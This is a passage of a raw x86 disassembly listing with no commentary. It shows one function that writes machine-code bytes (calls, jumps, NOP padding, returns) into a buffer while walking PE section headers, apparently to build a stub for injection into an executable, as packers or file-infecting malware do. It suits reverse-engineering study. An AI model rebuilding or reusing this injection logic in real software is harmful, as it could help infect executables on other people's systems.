		lea	esi, [ebp+70h+var_88]
		movsw
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_108]
		movsw
		mov	edi, edx
		lea	esi, [ebp+70h+var_28]
		movsw
		add	edx, eax
		lea	edi, [ebp+70h+var_34]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_14], esi
		mov	[ebp+70h+var_10], edi
		mov	[ebp+70h+var_C], ecx

loc_40364B:				; CODE XREF: sub_402AC9+B93j
		dec	[ebp+70h+var_14]
		dec	[ebp+70h+var_C]
		mov	edi, [ebp+70h+var_14]
		mov	edx, [ebp+70h+var_10]
		mov	dl, [edx+edi]
		mov	[edi], dl
		jnz	short loc_40364B
		mov	edx, esi
		mov	edi, edx
		lea	esi, [ebp+70h+var_54]
		movsw
		add	edx, eax
		lea	edi, [ebp+70h+var_18]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_10], esi
		mov	[ebp+70h+var_4C], edi
		mov	[ebp+70h+var_C], ecx

loc_40367A:				; CODE XREF: sub_402AC9+BC2j
		dec	[ebp+70h+var_10]
		dec	[ebp+70h+var_C]
		mov	edi, [ebp+70h+var_10]
		mov	edx, [ebp+70h+var_4C]
		mov	dl, [edx+edi]
		mov	[edi], dl
		jnz	short loc_40367A
		mov	edx, esi
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_6C]
		movsw
		mov	byte ptr [edx],	3Dh
		inc	edx
		lea	edi, [ebp+70h+var_8]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_14], esi
		mov	[ebp+70h+var_10], edi
		mov	[ebp+70h+var_C], ecx

loc_4036AD:				; CODE XREF: sub_402AC9+BF5j
		dec	[ebp+70h+var_14]
		dec	[ebp+70h+var_C]
		mov	edi, [ebp+70h+var_14]
		mov	edx, [ebp+70h+var_10]
		mov	dl, [edx+edi]
		mov	[edi], dl
		jnz	short loc_4036AD
		mov	edx, esi
		mov	byte ptr [edx],	7Ch
		inc	edx
		mov	byte ptr [edx],	60h
		inc	edx
		mov	edi, edx
		lea	esi, [ebp+70h+var_28]
		movsw
		add	edx, eax
		lea	edi, [ebp+70h+var_38]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_14], esi
		mov	[ebp+70h+var_10], edi
		mov	[ebp+70h+var_C], ecx

loc_4036E4:				; CODE XREF: sub_402AC9+C2Fj
		dec	[ebp+70h+var_14]
		dec	[ebp+70h+var_C]
		mov	edi, [ebp+70h+var_10]
		mov	edx, [ebp+70h+var_14]
		mov	dl, [edx+edi]
		mov	edi, [ebp+70h+var_14]
		mov	[edi], dl
		jnz	short loc_4036E4
		mov	edx, esi
		mov	byte ptr [edx],	40h
		inc	edx
		mov	edi, edx
		lea	esi, [ebp+70h+var_48]
		movsw
		add	edx, eax
		lea	edi, [ebp+70h+var_38]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_14], esi
		mov	[ebp+70h+var_10], edi
		mov	[ebp+70h+var_C], ecx

loc_40371A:				; CODE XREF: sub_402AC9+C65j
		dec	[ebp+70h+var_14]
		dec	[ebp+70h+var_C]
		mov	edi, [ebp+70h+var_10]
		mov	edx, [ebp+70h+var_14]
		mov	dl, [edx+edi]
		mov	edi, [ebp+70h+var_14]
		mov	[edi], dl
		jnz	short loc_40371A
		mov	edx, esi
		mov	edi, edx
		lea	esi, [ebp+70h+var_28]
		movsw
		add	edx, eax
		lea	edi, [ebp+70h+var_34]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_14], esi
		mov	[ebp+70h+var_10], edi
		mov	[ebp+70h+var_C], ecx

loc_40374C:				; CODE XREF: sub_402AC9+C94j
		dec	[ebp+70h+var_14]
		dec	[ebp+70h+var_C]
		mov	edi, [ebp+70h+var_14]
		mov	edx, [ebp+70h+var_10]
		mov	dl, [edx+edi]
		mov	[edi], dl
		jnz	short loc_40374C
		mov	edx, esi
		mov	edi, edx
		lea	esi, [ebp+70h+var_54]
		movsw
		add	edx, eax
		lea	edi, [ebp+70h+var_1C]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_10], esi
		mov	[ebp+70h+var_4C], edi
		mov	[ebp+70h+var_C], ecx

loc_40377B:				; CODE XREF: sub_402AC9+CC3j
		dec	[ebp+70h+var_10]
		dec	[ebp+70h+var_C]
		mov	edi, [ebp+70h+var_10]
		mov	edx, [ebp+70h+var_4C]
		mov	dl, [edx+edi]
		mov	[edi], dl
		jnz	short loc_40377B
		mov	edx, esi
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_F0]
		movsw
		mov	edi, edx
		lea	esi, [ebp+70h+var_48]
		movsw
		add	edx, eax
		lea	edi, [ebp+70h+var_4]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_10], esi
		mov	[ebp+70h+var_C], edi
		mov	[ebp+70h+var_1C], ecx

loc_4037B3:				; CODE XREF: sub_402AC9+CFBj
		dec	[ebp+70h+var_10]
		dec	[ebp+70h+var_1C]
		mov	edi, [ebp+70h+var_10]
		mov	edx, [ebp+70h+var_C]
		mov	dl, [edx+edi]
		mov	[edi], dl
		jnz	short loc_4037B3
		mov	edx, esi
		mov	byte ptr [edx],	0B9h
		inc	edx
		lea	edi, [ebp+70h+var_8]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_14], esi
		mov	[ebp+70h+var_10], edi
		mov	[ebp+70h+var_1C], ecx

loc_4037DD:				; CODE XREF: sub_402AC9+D25j
		dec	[ebp+70h+var_14]
		dec	[ebp+70h+var_1C]
		mov	edi, [ebp+70h+var_14]
		mov	edx, [ebp+70h+var_10]
		mov	dl, [edx+edi]
		mov	[edi], dl
		jnz	short loc_4037DD
		mov	edx, esi
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_118]
		movsw
		mov	byte ptr [edx],	0BBh
		inc	edx
		lea	edi, [ebp+70h+var_8]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_14], esi
		mov	[ebp+70h+var_10], edi
		mov	[ebp+70h+var_1C], ecx

loc_403813:				; CODE XREF: sub_402AC9+D5Bj
		dec	[ebp+70h+var_14]
		dec	[ebp+70h+var_1C]
		mov	edi, [ebp+70h+var_14]
		mov	edx, [ebp+70h+var_10]
		mov	dl, [edx+edi]
		mov	[edi], dl
		jnz	short loc_403813
		mov	edx, esi
		mov	edi, edx
		lea	esi, [ebp+70h+var_28]
		movsw
		add	edx, eax
		lea	edi, [ebp+70h+var_34]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_8], esi
		mov	[ebp+70h+var_10], edi
		mov	[ebp+70h+var_1C], ecx

loc_403842:				; CODE XREF: sub_402AC9+D8Dj
		dec	[ebp+70h+var_8]
		dec	[ebp+70h+var_1C]
		mov	edi, [ebp+70h+var_10]
		mov	edx, [ebp+70h+var_8]
		mov	dl, [edx+edi]
		mov	edi, [ebp+70h+var_8]
		mov	[edi], dl
		jnz	short loc_403842
		mov	edx, esi
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_90]
		movsw
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_F8]
		movsw
		mov	edi, edx
		lea	esi, [ebp+70h+var_28]
		movsw
		add	edx, eax
		lea	edi, [ebp+70h+var_38]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_8], esi
		mov	[ebp+70h+var_10], edi
		mov	[ebp+70h+var_1C], ecx

loc_403889:				; CODE XREF: sub_402AC9+DD4j
		dec	[ebp+70h+var_8]
		dec	[ebp+70h+var_1C]
		mov	edi, [ebp+70h+var_10]
		mov	edx, [ebp+70h+var_8]
		mov	dl, [edx+edi]
		mov	edi, [ebp+70h+var_8]
		mov	[edi], dl
		jnz	short loc_403889
		mov	edx, esi
		mov	edi, edx
		lea	esi, [ebp+70h+var_24]
		movsw
		movsb
		add	edx, 3
		lea	edi, [ebp+70h+var_44]
		lea	esi, [edx+4]
		sub	edi, edx
		mov	[ebp+70h+var_24], esi
		mov	[ebp+70h+var_C], edi
		mov	[ebp+70h+var_1C], ecx

loc_4038BD:				; CODE XREF: sub_402AC9+E08j
		dec	[ebp+70h+var_24]
		dec	[ebp+70h+var_1C]
		mov	edi, [ebp+70h+var_C]
		mov	edx, [ebp+70h+var_24]
		mov	dl, [edx+edi]
		mov	edi, [ebp+70h+var_24]
		mov	[edi], dl
		jnz	short loc_4038BD
		mov	edx, esi
		mov	edi, edx
		add	edx, eax
		mov	al, byte ptr [ebp+70h+arg_0+3]
		lea	esi, [ebp+70h+var_A0]
		movsw
		mov	[edx], al
		mov	al, [ebp+70h+var_3D]
		inc	edx
		mov	edi, edx
		inc	edx
		inc	edx
		lea	esi, [ebp+70h+var_A8]
		movsw
		mov	[edx], al
		inc	edx
		mov	edi, edx
		push	2
		pop	eax
		add	edx, eax
		lea	esi, [ebp+70h+var_B0]
		movsw
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_88]
		movsw
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_B8]
		movsw
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_C0]
		movsw
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_28]
		movsw
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_4]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+arg_0], ecx

loc_403930:				; CODE XREF: sub_402AC9+E70j
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [eax+esi]
		mov	[eax], dl
		jnz	short loc_403930
		mov	edx, edi
		inc	edx
		lea	esi, [ebp+70h+var_48]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_18]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+arg_0], ecx

loc_403951:				; CODE XREF: sub_402AC9+E91j
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_403951
		mov	edx, edi
		mov	byte ptr [edx],	0EBh
		inc	edx
		mov	byte ptr [edx],	14h
		inc	edx
		mov	edi, edx
		inc	edx
		lea	esi, [ebp+70h+var_28]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_18]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+arg_0], ecx

loc_40397C:				; CODE XREF: sub_402AC9+EBCj
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [eax+esi]
		mov	[eax], dl
		jnz	short loc_40397C
		mov	edx, edi
		inc	edx
		lea	esi, [ebp+70h+var_54]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_34]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+arg_0], ecx

loc_40399D:				; CODE XREF: sub_402AC9+EDDj
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_40399D
		mov	edx, edi
		inc	edx
		inc	edx
		lea	esi, [ebp+70h+var_6C]
		movsw
		mov	edi, edx
		inc	edx
		lea	esi, [ebp+70h+var_48]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_18]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+arg_0], ecx

loc_4039C7:				; CODE XREF: sub_402AC9+F07j
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_4039C7
		mov	edx, edi
		mov	byte ptr [edx],	0C3h
		inc	edx
		mov	edi, edx
		inc	edx
		inc	edx
		lea	esi, [ebp+70h+var_FC]
		movsw
		mov	byte ptr [edx],	0BEh
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_94]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+arg_0], ecx

loc_4039F5:				; CODE XREF: sub_402AC9+F35j
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_4039F5
		mov	edx, edi
		mov	[ebp+70h+var_C], edx
		mov	byte ptr [edx],	0B8h
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], 8
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_4], ecx

loc_403A1D:				; CODE XREF: sub_402AC9+F5Dj
		dec	eax
		dec	[ebp+70h+var_4]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_403A1D
		mov	edx, edi
		inc	edx
		lea	esi, [ebp+70h+var_48]
		movsw
		inc	edx
		lea	esi, [edx+4]
		lea	edi, [ebp+70h+var_34]
		mov	eax, esi
		sub	edi, edx
		mov	[ebp+70h+arg_0], ecx

loc_403A3E:				; CODE XREF: sub_402AC9+F7Ej
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [edi+eax]
		mov	[eax], dl
		jnz	short loc_403A3E
		mov	eax, [ebp+0Ch]
		mov	byte ptr [esi],	0E8h
		inc	esi
		sub	eax, esi
		sub	eax, ecx
		lea	edx, [esi+4]
		lea	edi, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], eax
		mov	[ebp+70h+var_18], edx
		sub	edi, esi
		mov	[ebp+70h+var_4], ecx

loc_403A65:				; CODE XREF: sub_402AC9+FADj
		dec	[ebp+70h+var_18]
		dec	[ebp+70h+var_4]
		mov	eax, [ebp+70h+var_18]
		mov	al, [edi+eax]
		mov	esi, [ebp+70h+var_18]
		mov	[esi], al
		jnz	short loc_403A65
		mov	byte ptr [edx],	52h
		inc	edx
		mov	byte ptr [edx],	0B8h
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], 3
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_4], ecx

loc_403A94:				; CODE XREF: sub_402AC9+FD4j
		dec	eax
		dec	[ebp+70h+var_4]
		mov	dl, [eax+esi]
		mov	[eax], dl
		jnz	short loc_403A94
		mov	edx, edi
		inc	edx
		lea	esi, [ebp+70h+var_48]
		movsw
		inc	edx
		lea	esi, [edx+4]
		lea	edi, [ebp+70h+var_34]
		mov	eax, esi
		sub	edi, edx
		mov	[ebp+70h+arg_0], ecx

loc_403AB5:				; CODE XREF: sub_402AC9+FF5j
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [eax+edi]
		mov	[eax], dl
		jnz	short loc_403AB5
		mov	eax, [ebp+0Ch]
		mov	byte ptr [esi],	0E8h
		inc	esi
		sub	eax, esi
		sub	eax, ecx
		lea	edi, [esi+4]
		lea	edx, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], eax
		mov	[ebp+70h+var_18], edi
		sub	edx, esi
		mov	[ebp+70h+var_4], ecx

loc_403ADC:				; CODE XREF: sub_402AC9+1024j
		dec	[ebp+70h+var_18]
		dec	[ebp+70h+var_4]
		mov	eax, [ebp+70h+var_18]
		mov	al, [eax+edx]
		mov	esi, [ebp+70h+var_18]
		mov	[esi], al
		jnz	short loc_403ADC
		mov	edx, edi
		inc	edx
		inc	edx
		lea	esi, [ebp+70h+var_104]
		movsw
		mov	byte ptr [edx],	59h
		inc	edx
		mov	edi, edx
		inc	edx
		inc	edx
		lea	esi, [ebp+70h+var_10C]
		movsw
		mov	byte ptr [edx],	52h
		inc	edx
		mov	byte ptr [edx],	0B8h
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], 3
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_4], ecx

loc_403B27:				; CODE XREF: sub_402AC9+1067j
		dec	eax
		dec	[ebp+70h+var_4]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_403B27
		mov	edx, edi
		inc	edx
		lea	esi, [ebp+70h+var_48]
		movsw
		inc	edx
		lea	esi, [edx+4]
		lea	edi, [ebp+70h+var_34]
		mov	eax, esi
		sub	edi, edx
		mov	[ebp+70h+arg_0], ecx

loc_403B48:				; CODE XREF: sub_402AC9+1088j
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [edi+eax]
		mov	[eax], dl
		jnz	short loc_403B48
		mov	eax, [ebp+0Ch]
		mov	byte ptr [esi],	0E8h
		inc	esi
		sub	eax, esi
		sub	eax, ecx
		lea	edx, [esi+4]
		lea	edi, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], eax
		mov	[ebp+70h+var_18], edx
		sub	edi, esi
		mov	[ebp+70h+var_4], ecx

loc_403B6F:				; CODE XREF: sub_402AC9+10B7j
		dec	[ebp+70h+var_18]
		dec	[ebp+70h+var_4]
		mov	eax, [ebp+70h+var_18]
		mov	al, [edi+eax]
		mov	esi, [ebp+70h+var_18]
		mov	[esi], al
		jnz	short loc_403B6F
		mov	edi, edx
		lea	esi, [ebp+70h+var_20]
		movsw
		movsb
		add	edx, 3
		mov	byte ptr [edx],	75h
		inc	edx
		mov	byte ptr [edx],	5
		inc	edx
		mov	byte ptr [edx],	0BAh
		inc	edx
		lea	esi, [edx+4]
		lea	edi, [ebp+70h+var_4]
		mov	[ebp+70h+var_4], 8
		mov	eax, esi
		sub	edi, edx
		mov	[ebp+70h+arg_0], ecx

loc_403BAD:				; CODE XREF: sub_402AC9+10EDj
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [edi+eax]
		mov	[eax], dl
		jnz	short loc_403BAD
		mov	edx, esi
		mov	byte ptr [edx],	59h
		inc	edx
		mov	byte ptr [edx],	51h
		inc	edx
		mov	byte ptr [edx],	52h
		inc	edx
		mov	edi, edx
		mov	[ebp+70h+var_44], edx
		add	edx, ecx
		lea	esi, [ebp+70h+var_3C]
		movsd
		mov	byte ptr [edx],	55h
		inc	edx
		xor	eax, eax
		mov	byte ptr [edx],	51h
		inc	edx
		cmp	[ebp+70h+var_27A], ax
		mov	[ebp+70h+var_34], eax
		mov	[ebp+70h+var_10], eax
		jbe	loc_403D4A
		lea	eax, [edx+4]
		mov	[ebp+70h+var_20], eax
		lea	eax, [ebp+70h+var_4]
		sub	eax, edx
		mov	[ebp+70h+arg_0], eax
		lea	eax, [ebp+70h+var_34]
		lea	esi, [ebp+70h+var_3B0]
		sub	eax, edx
		mov	[ebp+70h+var_18], esi

loc_403C0A:				; CODE XREF: sub_402AC9+127Bj
		mov	esi, [ebp+70h+var_18]
		cmp	dword ptr [esi], 0
		jbe	loc_403D33
		mov	edi, edx
		push	2
		lea	esi, [ebp+70h+var_114]
		movsw
		pop	esi
		add	[ebp+70h+var_20], esi
		sub	[ebp+70h+arg_0], esi
		add	edx, esi
		sub	eax, esi
		mov	edi, edx
		lea	esi, [ebp+70h+var_11C]
		movsw
		push	2
		pop	esi
		add	[ebp+70h+var_20], esi
		sub	eax, esi
		add	edx, esi
		sub	[ebp+70h+arg_0], esi
		mov	[ebp+70h+var_24], eax
		mov	eax, [ebp+70h+var_20]
		mov	[ebp+70h+var_3C], eax
		mov	esi, ecx

loc_403C4F:				; CODE XREF: sub_402AC9+1198j
		dec	[ebp+70h+var_3C]
		dec	esi
		mov	edi, [ebp+70h+var_24]
		mov	eax, [ebp+70h+var_3C]
		mov	al, [eax+edi]
		mov	edi, [ebp+70h+var_3C]
		mov	[edi], al
		jnz	short loc_403C4F
		mov	eax, [ebp+70h+var_18]
		mov	eax, [eax]
		add	[ebp+70h+var_34], eax
		add	[ebp+70h+var_20], ecx
		sub	[ebp+70h+var_24], ecx
		sub	[ebp+70h+arg_0], ecx
		add	edx, ecx
		push	2
		pop	eax
		add	[ebp+70h+var_20], eax
		sub	[ebp+70h+var_24], eax
		mov	edi, edx
		add	edx, eax
		sub	[ebp+70h+arg_0], eax
		mov	eax, [ebp+70h+var_20]
		lea	esi, [ebp+70h+var_124]
		movsw
		mov	[ebp+70h+var_3C], eax
		mov	esi, ecx

loc_403C96:				; CODE XREF: sub_402AC9+11DFj
		dec	[ebp+70h+var_3C]
		dec	esi
		mov	edi, [ebp+70h+var_24]
		mov	eax, [ebp+70h+var_3C]
		mov	al, [eax+edi]
		mov	edi, [ebp+70h+var_3C]
		mov	[edi], al
		jnz	short loc_403C96
		sub	[ebp+70h+var_24], ecx
		sub	[ebp+70h+arg_0], ecx
		mov	eax, [ebp+70h+var_20]
		mov	esi, [ebp+70h+var_18]
		add	edx, ecx
		add	eax, ecx
		mov	byte ptr [edx],	7Dh
		inc	edx
		inc	eax
		dec	[ebp+70h+var_24]
		dec	[ebp+70h+arg_0]
		mov	byte ptr [edx],	0Bh
		inc	edx
		inc	eax
		dec	[ebp+70h+var_24]
		dec	[ebp+70h+arg_0]
		mov	byte ptr [edx],	0BDh
		mov	esi, [esi-4]
		inc	edx
		inc	eax
		dec	[ebp+70h+var_24]
		dec	[ebp+70h+arg_0]
		add	esi, [ebp+70h+var_24C]
		mov	[ebp+70h+var_20], eax
		mov	[ebp+70h+var_4], esi
		mov	[ebp+70h+var_3C], eax
		mov	esi, ecx

loc_403CEF:				; CODE XREF: sub_402AC9+1235j
		dec	[ebp+70h+var_3C]
		dec	esi
		mov	edi, [ebp+70h+var_3C]
		mov	eax, [ebp+70h+arg_0]
		mov	al, [eax+edi]
		mov	[edi], al
		jnz	short loc_403CEF
		add	[ebp+70h+var_20], ecx
		sub	[ebp+70h+arg_0], ecx
		add	[ebp+70h+var_20], ecx
		sub	[ebp+70h+arg_0], ecx
		mov	eax, [ebp+70h+var_24]
		add	edx, ecx
		sub	eax, ecx
		sub	eax, ecx
		mov	edi, edx
		add	edx, ecx
		lea	esi, [ebp+70h+var_84]
		movsd
		mov	byte ptr [edx],	0EBh
		inc	edx
		inc	[ebp+70h+var_20]
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	byte ptr [edx],	19h
		inc	edx
		inc	[ebp+70h+var_20]
		dec	eax
		dec	[ebp+70h+arg_0]

loc_403D33:				; CODE XREF: sub_402AC9+1147j
		movzx	esi, [ebp+70h+var_27A]
		inc	[ebp+70h+var_10]
		add	[ebp+70h+var_18], 28h
		cmp	[ebp+70h+var_10], esi
		jb	loc_403C0A

loc_403D4A:				; CODE XREF: sub_402AC9+111Fj
		dec	edx
		dec	edx
		mov	edi, edx
		inc	edx
		inc	edx
		mov	eax, 90909090h
		stosw
		mov	byte ptr [edx],	59h
		inc	edx
		mov	byte ptr [edx],	5Dh
		inc	edx
		mov	byte ptr [edx],	90h
		inc	edx
		mov	edi, edx
		inc	edx
		lea	esi, [ebp+70h+var_8C]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_58]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+arg_0], ecx

loc_403D79:				; CODE XREF: sub_402AC9+12B9j
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_403D79
		mov	edx, edi
		lea	esi, [ebp+70h+var_128]
		movsw
		movsb
		add	edx, 3
		mov	edi, edx
		inc	edx
		lea	esi, [ebp+70h+var_120]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_58]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+arg_0], ecx

loc_403DAB:				; CODE XREF: sub_402AC9+12EBj
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [eax+esi]
		mov	[eax], dl
		jnz	short loc_403DAB
		mov	edx, [ebp+70h+var_44]
		mov	eax, edi
		mov	byte ptr [eax],	41h
		inc	eax
		mov	byte ptr [eax],	47h
		inc	eax
		mov	byte ptr [eax],	4Ah
		inc	eax
		mov	edi, eax
		inc	eax
		inc	eax
		sub	edx, eax
		lea	esi, [ebp+70h+var_C8]
		movsw
		sub	edx, ecx
		lea	edi, [eax+4]
		lea	esi, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], edx
		mov	edx, edi
		sub	esi, eax
		mov	[ebp+70h+var_4], ecx

loc_403DE4:				; CODE XREF: sub_402AC9+1324j
		dec	edx
		dec	[ebp+70h+var_4]
		mov	al, [esi+edx]
		mov	[edx], al
		jnz	short loc_403DE4
		mov	edx, edi
		mov	byte ptr [edx],	5Ah
		inc	edx
		mov	byte ptr [edx],	59h
		inc	edx
		mov	edi, edx
		inc	edx
		lea	esi, [ebp+70h+var_8C]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_58]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+arg_0], ecx

loc_403E0F:				; CODE XREF: sub_402AC9+134Fj
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_403E0F
		mov	eax, edi
		lea	esi, [ebp+70h+var_12C]
		movsw
		movsb
		mov	edx, eax
		add	eax, 3
		mov	edi, eax
		add	eax, ecx
		lea	esi, [ebp+70h+var_5C]
		movsd
		mov	byte ptr [eax],	46h
		inc	eax
		mov	edi, eax
		lea	esi, [ebp+70h+var_A4]
		movsw
		inc	eax
		inc	eax
		lea	edi, [ebp+70h+var_44]
		lea	esi, [eax+4]
		sub	edi, eax
		mov	[ebp+70h+var_44], 800h
		mov	[ebp+70h+arg_0], esi
		mov	[ebp+70h+var_1C], edi
		mov	[ebp+70h+var_4], ecx

loc_403E57:				; CODE XREF: sub_402AC9+139Fj
		dec	[ebp+70h+arg_0]
		dec	[ebp+70h+var_4]
		mov	edi, [ebp+70h+arg_0]
		mov	eax, [ebp+70h+var_1C]
		mov	al, [eax+edi]
		mov	[edi], al
		jnz	short loc_403E57
		mov	eax, esi
		mov	byte ptr [eax],	7Ch
		inc	eax
		mov	byte ptr [eax],	5
		inc	eax
		mov	byte ptr [eax],	0BEh
		inc	eax
		lea	edi, [ebp+70h+var_94]
		lea	esi, [eax+4]
		sub	edi, eax
		mov	[ebp+70h+arg_0], esi
		mov	[ebp+70h+var_4C], edi
		mov	[ebp+70h+var_4], ecx

loc_403E89:				; CODE XREF: sub_402AC9+13D1j
		dec	[ebp+70h+arg_0]
		dec	[ebp+70h+var_4]
		mov	edi, [ebp+70h+arg_0]
		mov	eax, [ebp+70h+var_4C]
		mov	al, [eax+edi]
		mov	[edi], al
		jnz	short loc_403E89
		mov	eax, esi
		mov	byte ptr [eax],	4Ah
		inc	eax
		mov	edi, eax
		lea	esi, [ebp+70h+var_CC]
		movsw
		inc	eax
		inc	eax
		lea	edi, [ebp+70h+var_58]
		lea	esi, [eax+4]
		sub	edi, eax
		mov	[ebp+70h+arg_0], esi
		mov	[ebp+70h+var_44], edi
		mov	[ebp+70h+var_4], ecx

loc_403EBC:				; CODE XREF: sub_402AC9+1407j
		dec	[ebp+70h+arg_0]
		dec	[ebp+70h+var_4]
		mov	edi, [ebp+70h+var_44]
		mov	eax, [ebp+70h+arg_0]
		mov	al, [eax+edi]
		mov	edi, [ebp+70h+arg_0]
		mov	[edi], al
		jnz	short loc_403EBC
		mov	eax, esi
		mov	byte ptr [eax],	75h
		inc	eax
		sub	dl, al
		dec	dl
		mov	edi, eax
		mov	[edi], dl
		inc	edi
		mov	[ebp+70h+var_8], eax
		mov	[ebp+70h+var_8], edi
		mov	edx, [ebp+70h+var_8]
		inc	edx
		lea	esi, [ebp+70h+var_54]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_38]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+arg_0], ecx

loc_403EFE:				; CODE XREF: sub_402AC9+143Ej
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [eax+esi]
		mov	[eax], dl
		jnz	short loc_403EFE
		mov	eax, edi
		inc	eax
		lea	esi, [ebp+70h+var_AC]
		movsw
		inc	eax
		lea	edi, [eax+4]
		lea	esi, [ebp+70h+var_7C]
		mov	edx, edi
		sub	esi, eax
		mov	[ebp+70h+arg_0], ecx

loc_403F1F:				; CODE XREF: sub_402AC9+145Fj
		dec	edx
		dec	[ebp+70h+arg_0]
		mov	al, [edx+esi]
		mov	[edx], al
		jnz	short loc_403F1F
		mov	eax, [ebp+70h+var_C]
		mov	edx, edi
		inc	edx
		inc	edx
		sub	eax, edx
		lea	esi, [ebp+70h+var_98]
		movsw
		sub	eax, ecx
		lea	esi, [edx+4]
		lea	edi, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], eax
		mov	eax, esi
		sub	edi, edx
		mov	[ebp+70h+var_4], ecx

loc_403F4A:				; CODE XREF: sub_402AC9+148Aj
		dec	eax
		dec	[ebp+70h+var_4]
		mov	dl, [eax+edi]
		mov	[eax], dl
		jnz	short loc_403F4A
		xor	edx, edx
		mov	byte ptr [esi],	0BFh
		mov	eax, [ebp+70h+var_1FC]
		push	14h
		pop	edi
		div	edi
		inc	esi
		lea	edx, [esi+4]
		lea	edi, [ebp+70h+var_44]
		mov	[ebp+70h+arg_0], edx
		mov	[ebp+70h+var_4], ecx
		dec	eax
		mov	[ebp+70h+var_44], eax
		sub	edi, esi

loc_403F78:				; CODE XREF: sub_402AC9+14C0j
		dec	[ebp+70h+arg_0]
		dec	[ebp+70h+var_4]
		mov	eax, [ebp+70h+arg_0]
		mov	al, [edi+eax]
		mov	esi, [ebp+70h+arg_0]
		mov	[esi], al
		jnz	short loc_403F78
		mov	byte ptr [edx],	0BBh
		mov	esi, [ebp+70h+var_200]
		mov	eax, [ebx+34h]
		lea	eax, [eax+esi+0Ch]
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_4]
		mov	[ebp+70h+var_4], eax
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+arg_0], ecx

